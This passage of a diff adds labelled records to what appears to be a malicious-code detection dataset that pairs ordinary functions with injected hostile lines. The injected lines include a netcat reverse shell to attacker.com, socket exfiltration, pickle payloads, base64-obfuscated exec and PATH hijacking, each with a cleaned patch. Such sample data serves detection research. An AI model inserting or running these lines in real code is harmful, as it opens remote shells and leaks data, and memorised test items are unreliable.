"attack_type": "typosquatting" + }, + { + "id": "tp_0f405a6e", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_34f9444d", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_19a5fb7f", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_3ea7975d", + "type": "functional", + "code_snippet": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_b0fdc246", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_f3fc2464", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_43e652cc", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_c3e5c58b", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_443b5b4d", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_66802ab8", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_b22344f7", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_df9fe9c8", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_9e52166c", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_3bf4d920", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_baaeb1b4", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3cefe3bb", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_2fc98c26", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_acf30049", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_eef5d59c", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_c15965ed", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_75b557d6", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_a3d79ac3", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_7b521e40", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c298a1fc", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_3f374b1a", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f40aa6eb", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_d1254ae5", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_aa31994b", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_1ff77e52", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_fbfa86bb", + "type": "functional", + "code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_fb565550", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_2af55009", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_96729751", + "type": "functional", + "code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_8f024e79", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_9ce36fbc", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_b7df07a4", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_1ef44248", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_0f6ae60c", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_5e717942", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3297448d", + "type": "functional", + "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_ea7ca838", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ab91d828", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_e59eebb7", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_d45b64d1", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_2f854d53", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_d9276aa5", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_d17ee233", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_3e7451ce", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module 